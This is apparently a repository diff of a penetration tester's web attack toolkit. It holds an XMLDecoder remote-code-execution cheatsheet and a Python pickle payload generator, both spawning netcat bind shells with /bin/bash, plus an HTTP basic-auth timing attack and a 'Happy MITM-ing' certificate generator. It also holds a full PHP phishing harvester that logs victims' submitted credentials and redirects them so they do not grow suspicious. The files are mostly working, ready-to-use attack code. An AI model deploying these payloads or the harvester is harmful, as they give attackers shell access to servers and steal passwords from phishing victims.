bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]
bodyStr = self._helpers.bytesToString(bodyBytes)
newMessage = self._helpers.buildHttpMessage(newHeaders, bodyStr)
currentRequest.setRequest(newMessage)
# FixBurpExceptions()

View File

@ -0,0 +1,31 @@
#!/bin/bash
echo -e "\n\nSimple SSL/TLS self-signed CA Certificate generator\n\n"
if [ -z $1 ]; then
echo "Usage: $0 [file_name]"
echo -e "\nGoing with default name: './rogue_server'\n\n"
fi
FILENAME=${1:-rogue_server}
echo "[+] Generating public and private keys pair (.key)..."
openssl genrsa -out $FILENAME.key 1024
echo "[+] Generating a self-signed x509 CA's certificate (.crt)..."
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3600 -out $FILENAME.crt
echo "[+] Generating the PEM file out of the key and certificate files..."
cat $FILENAME.key $FILENAME.crt > $FILENAME.pem
echo -e "\n[>] Certificate's dump:"
openssl x509 -in $FILENAME.pem -text -noout
echo -e "\n[>] Generated files:"
echo -e "\tPKI keys (public/private):\t$FILENAME.key"
echo -e "\tCA Certficate:\t\t$FILENAME.crt"
echo -e "\tResulting PEM:\t\t$FILENAME.pem"
echo -e "\n\n[+] Now you can start a TLS-enabled server with:\n"
echo -e "\n$ sudo socat -vv openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect::,verify=0 \n"
echo "Happy MITM-ing!"

51
web/dummy-web-server.py Normal file
View File

@ -0,0 +1,51 @@
#!/usr/bin/env python
"""
Very simple HTTP server in python.
Usage::
./dummy-web-server.py [<port>]
Send a GET request::
curl http://localhost
Send a HEAD request::
curl -I http://localhost
Send a POST request::
curl -d "foo=bar&bin=baz" http://localhost
"""
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import SocketServer
class S(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
self._set_headers()
self.wfile.write("<html><body><h1>hi!</h1></body></html>")
def do_HEAD(self):
self._set_headers()
def do_POST(self):
# Doesn't do anything with posted data
self._set_headers()
self.wfile.write("<html><body><h1>POST!</h1></body></html>")
def run(server_class=HTTPServer, handler_class=S, port=80):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print 'Starting httpd...'
httpd.serve_forever()
if __name__ == "__main__":
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()

53
web/http-auth-timing.py Normal file
View File

@ -0,0 +1,53 @@
#!/usr/bin/python
import requests
import datetime
import string
import sys
ALPHABET = string.printable
RETRIES = 1
def fetch(url, username, password):
a = datetime.datetime.now()
r = requests.get(url, auth=requests.auth.HTTPBasicAuth(username, password))
if r.status_code == 200:
return 0
b = datetime.datetime.now()
return (b - a).total_seconds()
def main(url, username):
pass_so_far = ''
while True:
print '\n[>] Password so far: "%s"\n' % pass_so_far
times = {}
avg_times = {}
for p in ALPHABET:
times[p] = []
avg_times[p] = 0.0
for i in range(RETRIES):
password = pass_so_far + p
t = fetch(url, username, password)
if t == 0:
print 'Password found: "%s"' % password
return
times[p].append(t)
avg_times[p] = sum(times[p]) / float(RETRIES)
if ord(p) > 32:
print '\tLetter: "%c" - time: %f' % (p, avg_times[p])
max_time = [0,0]
for letter, time_ in times.items():
if time_ > max_time[1]:
max_time[0] = letter
max_time[1] = time_
pass_so_far += max_time[0]
if __name__ == '__main__':
if len(sys.argv) < 3:
print 'usage: http-auth-timing.py <url> <username>'
main(sys.argv[1], sys.argv[2])

View File

@ -0,0 +1,80 @@
## Java Beans XMLDecoder Remote Code Execution cheatsheet
Having a functionality of file upload or other function that is parsing input xml-type data that will later flow through the **XMLDecoder** component of _Java Beans_, one could try to play around it's known deserialization issue. In order to test that issue there should be specially crafted XML-payload used that would invoke arbitrary Java interfaces and methods with supplied parameters.
### Payloads
When one would like to start a bind shell on the target machine, he could use the payload like the following one:
```
Runtime.getRuntime().exec(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"});
```
In such case desired XML would look like the following one:
```
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_102" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>4444</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/bash</string>
</void>
</array>
</void>
</object>
</java>
```
or by using `ProcessBuilder`:
```
new java.lang.ProcessBuilder(new java.lang.String[]{"/usr/bin/nc", "-l", "-p", "4444", "-e", "/bin/bash"}).start()
```
Then the payload would look like:
```
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_102" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>4444</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/bash</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
```

View File

@ -0,0 +1,12 @@
let ipAddresses = [];
var oRTCIceGatherer = new RTCIceGatherer({ "gatherPolicy": "all", "iceServers": [] });
oRTCIceGatherer.onlocalcandidate = function (oEvent) {
if(oEvent.candidate.type == "host") {
ipAddresses.push(oEvent.candidate.ip);
}
};
setTimeout(function() {
console.log(ipAddresses.toString());
}, 500);

311
web/padding-oracle-tests.py Normal file
View File

@ -0,0 +1,311 @@
#!/usr/bin/python
#
# Padding Oracle test-cases generator.
# Mariusz B. / mgeeky, 2016
# v0.2
#
# Simple utility that aids the penetration tester when manually testing Padding Oracle condition
# of a target cryptosystem, by generating set of test cases to fed the cryptosystem with.
#
# Script that takes from input an encoded cipher text, tries to detect applied encoding, decodes the cipher
# and then generates all the possible, reasonable cipher text transformations to be used while manually
# testing for Padding Oracle condition of cryptosystem. The output of this script will be hundreds of
# encoded values to be used in manual application testing approaches, like sending requests.
#
# One of possible scenarios and ways to use the below script could be the following:
# - clone the following repo: https://github.com/GDSSecurity/PaddingOracleDemos
# - launch pador.py which is an example of application vulnerable to Padding Oracle
# - then by using `curl http://localhost:5000/echo?cipher=<ciphertext>` we are going to manually
# test for Padding Oracle outcomes. The case of returning something not being a 'decryption error'
# result would be considered padding-hit, therefore vulnerability proof.
#
# This script could be then launched to generate every possible test case of second to the last block
# being filled with specially tailored values (like vector of zeros with last byte ranging from 0-255)
# and then used in some kind of local http proxy (burp/zap) or http client like (curl/wget).
#
# Such example usage look like:
#
#---------------------------------------------
# bash$ x=0 ; for i in $(./padding-oracle-tests.py 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6); \
# do curl -s http://host:5000/echo?cipher=$i | grep -qv 'error' && printf "Byte: 0x%02x not generated decryption error.\n" $x ; x=$((x+1)); done
#
# [?] Data resembles block cipher with block size = 16
# [?] Data resembles block cipher with block size = 8
#
# Generated in total: 512 test cases for 8, 16 block sizes.
# Byte: 0x87 not generated decryption error.
#---------------------------------------------
#
# There the script took at it's first parameter the hex encoded parameter, used it to feed test cases generator and resulted with 512
# test cases varying with the last byte of the second to the last block:
# (...)
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fad2382fb0a54f3a2954bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fbd2382fb0a54f3a2954bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fcd2382fb0a54f3a2954bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fdd2382fb0a54f3a2954bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000fed2382fb0a54f3a2954bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369b000000000000000000000000000000ffd2382fb0a54f3a2954bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000054bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000154bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000254bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000354bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000454bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000554bfebe0a04dd4d6
# 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000654bfebe0a04dd4d6
# (...)
#
# At the end, those values were used in for loop to launch for every entry a curl client with request to the Padding Oracle.
# The 0x87 byte that was catched was the only one that has not generated a 'decryption error' outcome from the request, resulting
# in improperly decrypted plain-text from attacker-controled cipher text.
#
import re
import sys
import urllib
import binascii as ba
import base64
# Flip this variable when your input data is not being properly processed.
DEBUG = False
def info(txt):
sys.stderr.write(txt + '\n')
def warning(txt):
info('[?] ' + txt)
def error(txt):
info('[!] ' + txt)
def dbg(txt):
if DEBUG:
info('[dbg] '+txt)
# or maybe:
# class PaddingOracleTestCasesWithVaryingSecondToTheLastBlockGenerator
class PaddingOracleTestCasesGenerator:
NONE = 0
B64URL = 1
B64STD = 2
HEXENC = 3
data = ''
offset = 0
encoding = NONE
blocksizes = set()
urlencoded = False
def __init__(self, data, blocksize=0):
self.data = data
len_before = len(data)
self.encoding = self.detect_encoding()
self.data = self.decode(data)
if blocksize != 0:
assert blocksize % 8 == 0, "Blocksize must be divisible by 8"
self.blocksizes = [blocksize,]
else:
self.detect_blocksize()
self.data_evaluation(len_before)
def data_evaluation(self, len_before):
def entropy(txt):
import math
from collections import Counter
p, lns = Counter(txt), float(len(txt))
return -sum( count / lns * math.log(count/lns, 2) for count in p.values())
e = entropy(self.data)
warning('Data size before and after decoding: %d -> %d' % (len_before, len(self.data)))
warning('Data entropy: %.6f' % entropy(self.data))
if e < 5.0:
info('\tData does not look random, not likely to deal with block cipher.')
elif e >= 5.0 and e < 7.0:
info('\tData only resembles random stream, hardly to be dealing with block cipher.')
else:
info('\tHigh likelihood of dealing with block cipher. That\'s good.')
if self.offset != 0:
warning('Data structure not resembles block cipher.')
warning('Proceeding with sliding window of %d bytes in the beginning and at the end\n' % self.offset)
else:
warning('Data resembles block cipher with block size = %d' % max(self.blocksizes))
def detect_encoding(self):
b64url = '^[a-zA-Z0-9_\-]+={0,2}$'
b64std = '^[a-zA-Z0-9\+\/]+={0,2}$'
hexenc1 = '^[0-9a-f]+$'
hexenc2 = '^[0-9A-F]+$'
data = self.data
if re.search('%[0-9a-f]{2}', self.data, re.I) != None:
dbg('Sample is url-encoded.')
data = urllib.unquote_plus(data)
self.urlencoded = True
if (re.match(hexenc1, data) or re.match(hexenc2, data)) and len(data) % 2 == 0:
dbg('Hex encoding detected.')
return self.HEXENC
if re.match(b64url, data):
dbg('Base64url encoding detected.')
return self.B64URL
if re.match(b64std, data):
dbg('Standard Base64 encoding detected.')
return self.B64STD
error('Warning: Could not detect data encoding. Going with plain data.')
return self.NONE
def detect_blocksize(self):
sizes = [32, 16, 8] # Correspondigly: 256, 128, 64 bits
self.offset = len(self.data) % 8
datalen = len(self.data) - self.offset
for s in sizes:
if datalen % s == 0 and datalen / s >= 2:
self.blocksizes.add(s)
if not len(self.blocksizes):
if datalen >= 32:
self.blocksizes.add(16)
if datalen >= 16:
self.blocksizes.add(8)
if not len(self.blocksizes):
raise Exception("Could not detect data's blocksize automatically.")
def encode(self, data):
def _enc(data):
if self.encoding == PaddingOracleTestCasesGenerator.B64URL:
return base64.urlsafe_b64encode(data)
elif self.encoding == PaddingOracleTestCasesGenerator.B64STD:
return base64.b64encode(data)
elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC:
return ba.hexlify(data).strip()
else:
return data
enc = _enc(data)
if self.urlencoded:
return urllib.quote_plus(enc)
else:
return enc
def decode(self, data):
def _decode(self, data):
if self.urlencoded:
data = urllib.unquote_plus(data)
if self.encoding == PaddingOracleTestCasesGenerator.B64URL:
return base64.urlsafe_b64decode(data)
elif self.encoding == PaddingOracleTestCasesGenerator.B64STD:
return base64.b64decode(data)
elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC:
return ba.unhexlify(data).strip()
else:
return data
dbg("Hex dump of data before decoding:\n" + hex_dump(data))
decoded = _decode(self, data)
dbg("Hex dump of data after decoding:\n" + hex_dump(decoded))
return decoded
def construct_second_to_last_block(self, data, blocksize, value, offset=0):
assert len(data) >= 2 * blocksize, "Too short data to operate on it with given blocksize."
assert abs(offset) < blocksize, "Incorrect offset was specified. Out-of-bounds access."
# Null vector with the last byte set to iterated value.
block = '0' * (2*(blocksize-1)) + '%02x' % value
if offset >= 0:
# datadata<rest>
return data[:-2*blocksize-offset] + ba.unhexlify(block) + data[-blocksize-offset:]
else:
# <rest>datadata
return data[-offset:-2*blocksize] + ba.unhexlify(block) + data[-blocksize:]
def generate_test_cases(self):
cases = []
data = self.data
for size in self.blocksizes:
dbg("Now generating test cases of %d blocksize." % size)
for byte in range(256):
# No offset
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte)))
if self.offset != 0:
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, self.offset)))
cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, -self.offset)))
return cases
def hex_dump(data):
s = ''
n = 0
lines = []
if len(data) == 0:
return '<empty>'
for i in range(0, len(data), 16):
line = ''
line += '%04x | ' % (i)
n += 16
for j in range(n-16, n):
if j >= len(data): break
line += '%02x ' % ord(data[j])
line += ' ' * (3 * 16 + 7 - len(line)) + ' | '
for j in range(n-16, n):
if j >= len(data): break
c = data[j] if not (ord(data[j]) < 0x20 or ord(data[j]) > 0x7e) else '.'
line += '%c' % c
lines.append(line)
return '\n'.join(lines)
def main():
info('\n\tPadding Oracle test-cases generator')
info('\tMariusz B. / mgeeky, 2016\n')
if len(sys.argv) < 2:
warning('usage: padding-oracle-tests.py <data> [blocksize]')
sys.exit(0)
data = sys.argv[1].strip()
bsize = int(sys.argv[2]) if len(sys.argv) > 2 else 0
try:
tester = PaddingOracleTestCasesGenerator(data, bsize)
except Exception as e:
error(str(e))
return False
s = hex_dump(tester.data)
info('Decoded data:\n%s\n' % s)
cases = tester.generate_test_cases()
for case in cases:
if DEBUG:
dbg('...' + case[-48:])
else:
print case
info('\n[+] Generated in total: %d test cases for %s block sizes.' \
% (len(cases), ', '.join([str(e) for e in sorted(tester.blocksizes)])))
if __name__ == '__main__':
main()

20
web/pickle-payload.py Normal file
View File

@ -0,0 +1,20 @@
#!/usr/bin/python
#
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
#
import cPickle
import os
import sys
import base64
DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 4444"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND
class PickleRce(object):
def __reduce__(self):
return (os.system,(COMMAND,))
print base64.b64encode(cPickle.dumps(PickleRce()))

247
web/post.php Normal file
View File

@ -0,0 +1,247 @@
<?php
/*
* PHP Script intdended to be used during Phishing attempts as a harverster
* collector linked to backdoored HTML <form> action parameter. Such action
* parameter could be set like this:
*
* <form [...] action="/post.php" [...]>
*
* and script named as 'post.php' to get it working. Additional further configurations
* can be made in the section below.
*
* When crafting HTML login page, one can use the PHP session variable:
* $_SESSION['phished_already']
* to add forced redirection to the target site.
*
* Authors:
* Mariusz B. / mgeeky
* Jakub M. / unkn0w
*
* Version:
* v0.3
*
* Changelog:
* - v0.1 - init
* - v0.2 - added metadata gathering
* - v0.2.1 - unkn0w adds redirection to faked 'wrong password' message
* - v0.3 - added CSV reporting method
*/
try {
/* ============================ CONFIGURATION ============================ */
// Filename for harvested data. For CSV logging method, the '.csv' fill be appended.
// Remember to keep the filename not guessable, to avoid forceful browsing against your own
// phishing box!
$harvest_filename = 'harvester_phishing_campaign_1234567890.txt';
// Target to redirect to after collecting input data.
$redirect = 'https://www.website.to/redirect.to?after=input&data=was&sent=';
// Resend post data to the redirect address?
$resend_post_data = false;
// Specifies how many login attempts user have to try before redirection to real website (must be set to 1 or more)
$password_retry = 2;
// URL for "wrong password" message redirection (applicable only if $password_retry is set to more than 1).
// May be relative URL or full one pointing at the target application's error message directly.
// Warning: If left empty - the page will be simply reloaded.
$wrong_password_url = ''; // '/index.php?wrong_pass=1';
// If this is set to true, everyone regardless of their user agents will be logged.
// Otherwise, only valid, recognized user agents (exlucding bots, or ones who tamper that
// setting) will be logged.
$log_everyone = false;
// Set this variable to:
// - 'csv' - to collect results in a CSV format.
// - 'print_r' - to use the PHP's 'print_r' function.
// - 'both' - to create two files and use them both.
$log_format = 'both';
$csv_separator = ' | ';
// Specifies whether to include in harvesting log metadata such as User Agent,
// Remote Addr (victim IP) and so on.
$show_meta_data = true;
// Exclude specific clients based on their VISITOR_ID value (16 bytes values):
$exclude_visitors = array('1234567890abcdef');
/* ============================ CONFIGURATION ============================ */
@error_reporting(0);
session_start();
setcookie(session_name(), session_id(), time() + 7776000); // cookie for 90 days
if (empty($_POST)) {
header("Location: index.html");
exit();
}
$_SESSION['phishing_counter'] = isset($_SESSION['phishing_counter']) ? $_SESSION['phishing_counter'] + 1 : 1;
function array_clone($array) {
return array_map(function($element) {
return ((is_array($element))
? call_user_func(__FUNCTION__, $element)
: ((is_object($element))
? clone $element
: $element
)
);
}, $array);
}
function collect_columns_array($arraylog) {
$columns = array();
foreach($arraylog as $k => $v) {
if ( $k == 'meta' ) {
foreach($arraylog[$k] as $k2 => $v2) {
array_push($columns, $k2);
}
} else {
array_push($columns, $k);
}
}
return $columns;
}
function log_file_init($arraylog) {
global $log_format;
global $harvest_filename;
global $csv_separator;
if ($log_format == 'both' || $log_format == 'print_r') {
file_put_contents($harvest_filename, '');
}
if ($log_format == 'both' || $log_format == 'csv' ) {
$columns = implode($csv_separator, collect_columns_array($arraylog));
file_put_contents($harvest_filename . '.csv', $columns . "\n");
}
}
function log_append($arraylog) {
global $log_format;
global $harvest_filename;
global $csv_separator;
if ($log_format == 'both' || $log_format == 'print_r') {
file_put_contents($harvest_filename, print_r($arraylog, true), FILE_APPEND);
}
if ($log_format == 'both' || $log_format == 'csv' ) {
$columns = collect_columns_array($arraylog);
$line = '';
foreach ($columns as $col) {
if (array_key_exists($col, $arraylog['meta'])) {
$line .= $arraylog['meta'][$col] . $csv_separator;
} else {
$line .= $arraylog[$col] . $csv_separator;
}
}
$line = substr($line, 0, -strlen($csv_separator));
file_put_contents($harvest_filename . '.csv', $line . "\n", FILE_APPEND);
}
}
$to_report_array = array_clone($_POST);
$to_report_array['meta'] = array();
if ( array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)
&& $_SERVER['HTTP_X_FORWARDED_FOR']
&& $_SERVER['HTTP_X_FORWARDED_FOR'] !== $_SERVER['REMOTE_ADDR']
){
$to_report_array['meta']['HTTP_X_FORWARDED_FOR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
$to_copy_from_server = array("REMOTE_ADDR", "HTTP_REFERER", "HTTP_USER_AGENT", "HTTP_HOST");
for( $i = 0; $i < count($to_copy_from_server); $i++ ) {
$to_report_array['meta'][$to_copy_from_server[$i]] = $_SERVER[$to_copy_from_server[$i]];
}
$date = date('Y-m-d H:i:s');
$to_report_array['meta']['TIMESTAMP'] = $date;
// Add information about password-entry attempt to the logfile.
$to_report_array['meta']['COMMENT'] = "Password retries for that user: " . $_SESSION['phishing_counter'] . ". ";
if ($_SESSION['phishing_counter'] >= $password_retry) {
$to_report_array['meta']['COMMENT'] .= 'Considered phished (+). ';
}
// Valid user agents only
$len = strlen($_SERVER['HTTP_USER_AGENT']);
$found = 0;
$keywords = array('Chrome', 'Chromium', 'CriOS', 'Fedora', 'Firefox', 'Gecko',
'Intel', 'iPhone', 'KHTML', 'Linux', 'Macintosh', 'Mobile',
'Mozilla', 'Safari', 'Trident', 'Ubuntu', 'Version', 'Win64',
'Windows', 'WOW64', 'x86_64', 'Android', 'Phone');
for ($i = 0; $i < count($keywords); $i++) {
if(stripos($_SERVER['HTTP_USER_AGENT'], $keywords[$i]) !== false) {
$found++;
}
}
// Computing unique per visitor ID to be able to grep harvest log based on that ID.
$exclude = false;
$id = sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . $_SERVER['HTTP_ACCEPT'] .
$_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_LANGUAGE']);
$to_report_array['meta']['VISITOR_ID'] = substr($id, 0, 16);
if(in_array($to_report_array['meta']['VISITOR_ID'], $exclude_visitors)) {
$exclude = true;
}
if (!$exclude && ($log_everyone || ($found >= 3 && $len > 60))) {
if(!file_exists($harvest_filename)) {
log_file_init($to_report_array);
}
log_append($to_report_array);
}
if(!$show_meta_data) {
unset($to_report_array['meta']);
}
if ($password_retry > 1) {
if ($_SESSION['phishing_counter'] < $password_retry) {
$url = (!empty($wrong_password_url))? $wrong_password_url : $_SERVER['PHP_SELF'];
header('Location: ' . $url);
die();
}
}
if ($_SESSION['phishing_counter'] >= $password_retry) {
$_SESSION['phished_already'] = 1;
throw new Exception('Already phished.'); // redirects to target page.
}
header('Content-Type: text/html; charset=utf-8');
if (!$resend_post_data) {
echo '<meta http-equiv="refresh" content="0; url=' . $redirect . '" />';
} else {
echo "<html><head></head><body>";
echo "<form action='" . $redirect . "' method='post' name='frm'>";
foreach($_POST as $a => $b ) {
echo "<input type='hidden' name='" . htmlentities($a) . "' value='" . htmlentities($b) . "'>";
}
echo "</form><script type='text/javascript'>document.frm.submit();</script></body></html>";
}
} catch (Exception $e) {
// We can't take the risk of not redirecting victim into desired website,
// because such victim could become anxious or investigate the issue further
// thus compromising our campaign. That's the purpose of the try..catch statement
// applied here.
echo '<meta http-equiv="refresh" content="0; url=' . $redirect . '" />';
}
?>

424
web/reencode.py Normal file
View File

@ -0,0 +1,424 @@
#!/usr/bin/python
#
# ReEncoder.py - script allowing for recursive encoding detection, decoding and then re-encoding.
# To be used for instance in fuzzing purposes.
#
# NOTICE:
# If the input string's length is divisble by 4, Base64 will be able to decode it - thus, the script
# would wrongly assume it has been encoded using Base64. The same goes for Hex decoding.
# In order to tackle this issue, the script builds up a tree of possible encoding schemes and then evaluate
# that tree by choosing the best fitting encodings path (with most points counted upon resulted text's length,
# entropy and printable'ity).
#
# Requires:
# - jwt
# - anytree
#
# Mariusz B., 2018
#
import re
import sys
import jwt
import math
import base64
import urllib
import string
import anytree
import binascii
from collections import Counter
class ReEncoder:
# Switch this to show some verbose informations about decoding process.
DEBUG = False
# ============================================================
# ENCODERS SECTION
#
class Encoder:
def name(self):
raise NotImplementedError
def check(self, data):
raise NotImplementedError
def encode(self, data):
raise NotImplementedError
def decode(self, data):
raise NotImplementedError
class NoneEncoder(Encoder):
def name(self):
return 'None'
def check(self, data):
if not data:
return False
return True
def encode(self, data):
return data
def decode(self, data):
return data
class URLEncoder(Encoder):
def name(self):
return 'URLEncoder'
def check(self, data):
if urllib.quote(urllib.unquote(data)) == data and (urllib.unquote(data) != data):
return True
if re.match(r'^(?:%[0-9a-f]{2})+$', data, re.I):
return True
return False
def encode(self, data):
return urllib.quote(data)
def decode(self, data):
return urllib.unquote(data)
class HexEncoder(Encoder):
def name(self):
return 'HexEncoded'
def check(self, data):
m = re.match(r'^[0-9a-f]+$', data, re.I)
if m:
return True
return False
def encode(self, data):
return binascii.hexlify(data).strip()
def decode(self, data):
return binascii.unhexlify(data).strip()
class Base64Encoder(Encoder):
def name(self):
return 'Base64'
def check(self, data):
try:
if base64.b64encode(base64.b64decode(data)) == data:
return True
except:
pass
return False
def encode(self, data):
return base64.b64encode(data)
def decode(self, data):
return base64.b64decode(data)
class Base64URLSafeEncoder(Encoder):
def name(self):
return 'Base64URLSafe'
def check(self, data):
try:
if base64.urlsafe_b64encode(base64.urlsafe_b64decode(data)) == data:
return True
except:
pass
return False
def encode(self, data):
return base64.urlsafe_b64encode(data)
def decode(self, data):
return base64.urlsafe_b64decode(data)
class JWTEncoder(Encoder):
secret = ''
def name(self):
return 'JWT'
def check(self, data):
try:
jwt.decode(data, verify = False)
return True
except jwt.exceptions.DecodeError:
return False
def encode(self, data):
return jwt.encode(data, JWTEncoder.secret)
def decode(self, data):
return jwt.decode(data, verify = False)
# ============================================================
# ENCODING DETECTION IMPLEMENTATION
#
MaxEncodingDepth = 20
def __init__(self):
self.encodings = []
self.encoders = (
ReEncoder.URLEncoder(),
ReEncoder.HexEncoder(),
ReEncoder.Base64Encoder(),
ReEncoder.Base64URLSafeEncoder(),
ReEncoder.JWTEncoder(),
# None must always be the last detector
ReEncoder.NoneEncoder(),
)
self.encodersMap = {}
self.data = ''
for encoder in self.encoders:
self.encodersMap[encoder.name()] = encoder
@staticmethod
def log(text):
if ReEncoder.DEBUG:
print(text)
def verifyEncodings(self, encodings):
for encoder in encodings:
if type(encoder) == str:
if not encoder in self.encodersMap.keys():
raise Exception("Passed unknown encoder's name.")
elif not issubclass(ReEncoder.Encoder, encoder):
raise Exception("Passed encoder is of unknown type.")
def generateEncodingTree(self, data):
step = 0
maxSteps = len(self.encoders) * ReEncoder.MaxEncodingDepth
peeledBefore = 0
peeledOff = 0
currData = data
while step < maxSteps:
peeledBefore = peeledOff
for encoder in self.encoders:
step += 1
ReEncoder.log('[.] Trying: {} (peeled off: {}). Current form: "{}"'.format(encoder.name(), peeledOff, currData))
if encoder.check(currData):
if encoder.name() == 'None':
continue
if encoder.name().lower().startswith('base64') and (len(currData) % 4 == 0):
ReEncoder.log('[.] Unclear situation whether input ({}) is Base64 encoded. Branching.'.format(
currData
))
yield ('None', currData, True)
if encoder.name().lower().startswith('hex') and (len(currData) % 2 == 0):
ReEncoder.log('[.] Unclear situation whether input ({}) is Hex encoded. Branching.'.format(
currData
))
yield ('None', currData, True)
ReEncoder.log('[+] Detected encoder: {}'.format(encoder.name()))
currData = encoder.decode(currData)
yield (encoder.name(), currData, False)
peeledOff += 1
break
if (peeledOff - peeledBefore) == 0:
break
def formEncodingCandidates(self, root):
iters = [[node for node in children] for children in anytree.LevelOrderGroupIter(root)]
candidates = []
for node in iters[-1]:
name = node.name
decoded = node.decoded
ReEncoder.log('[.] Candidate for best decode using {}: "{}"...'.format(
name, decoded[:20]
))
candidates.append([name, decoded, 0.0])
return candidates
@staticmethod
def entropy(data, unit='natural'):
base = {
'shannon' : 2.,
'natural' : math.exp(1),
'hartley' : 10.
}
if len(data) <= 1:
return 0
counts = Counter()
for d in data:
counts[d] += 1
probs = [float(c) / len(data) for c in counts.values()]
probs = [p for p in probs if p > 0.]
ent = 0
for p in probs:
if p > 0.:
ent -= p * math.log(p, base[unit])
return ent
def evaluateEncodingTree(self, root):
weights = {
'printableChars' : 10.0,
'highEntropy' : 4.0,
'length' : 1.0
}
candidates = self.formEncodingCandidates(root)
maxCandidate = 0
for i in range(len(candidates)):
candidate = candidates[i]
name = candidate[0]
decoded = candidate[1]
points = float(candidate[2])
ReEncoder.log('[=] Evaluating candidate: {} (data: "{}")'.format(
name, decoded
))
# Step 1: Adding points for printable percentage.
printables = sum([int(x in string.printable) for x in decoded])
printablePoints = weights['printableChars'] * (float(printables) / float(len(decoded)))
ReEncoder.log('\tAdding {} points for printable characters.'.format(printablePoints))
points += printablePoints
# Step 4: If encoder is Base64 and was previously None
# - then length and entropy of previous values should be of slighly lower weights
if name.lower() == 'none' \
and len(candidates) > i+1 \
and candidates[i+1][0].lower().startswith('base64'):
entropyPoints = ReEncoder.entropy(decoded) * (weights['highEntropy'] * 0.75)
lengthPoints = float(len(decoded)) * (weights['length'] * 0.75)
else:
entropyPoints = ReEncoder.entropy(decoded) * weights['highEntropy']
lengthPoints = float(len(decoded)) * weights['length']
# Step 2: Add points for entropy
ReEncoder.log('\tAdding {} points for high entropy.'.format(entropyPoints))
points += entropyPoints
# Step 3: Add points for length
ReEncoder.log('\tAdding {} points for length.'.format(lengthPoints))
points += lengthPoints
ReEncoder.log('\tScored in total: {} points.'.format(points))
candidates[i][2] = points
if points > candidates[maxCandidate][2]:
maxCandidate = i
winningCandidate = candidates[maxCandidate]
winningPaths = anytree.search.findall_by_attr(
root,
name = 'decoded',
value = winningCandidate[1]
)
ReEncoder.log('[?] Other equally good candidate paths:\n' + str(winningPaths))
winningPath = winningPaths[0]
ReEncoder.log('[+] Winning decode path is:\n{}'.format(str(winningPath)))
encodings = [x.name for x in winningPath.path if x != 'None']
return encodings
def process(self, data):
root = anytree.Node('None', decoded = data)
prev = root
for (name, curr, branch) in self.generateEncodingTree(data):
ReEncoder.log('[*] Generator returned: ("{}", "{}", {})'.format(
name, curr[:20], str(branch)
))
currNode = anytree.Node(name, parent = prev, decoded = curr)
if branch:
pass
else:
prev = currNode
for pre, fill, node in anytree.RenderTree(root):
ReEncoder.log("%s%s (%s)" % (pre, node.name, node.decoded[:20].decode('ascii', 'ignore')))
self.encodings = self.evaluateEncodingTree(root)
ReEncoder.log('[+] Selected encodings: {}'.format(str(self.encodings)))
def decode(self, data, encodings = []):
if not encodings:
self.process(data)
else:
self.verifyEncodings(encodings)
self.encodings = encodings
for encoderName in self.encodings:
d = self.encodersMap[encoderName].decode(data)
data = d
return data
def encode(self, data, encodings = []):
if encodings:
encodings.reverse()
self.verifyEncodings(encodings)
self.encodings = encodings
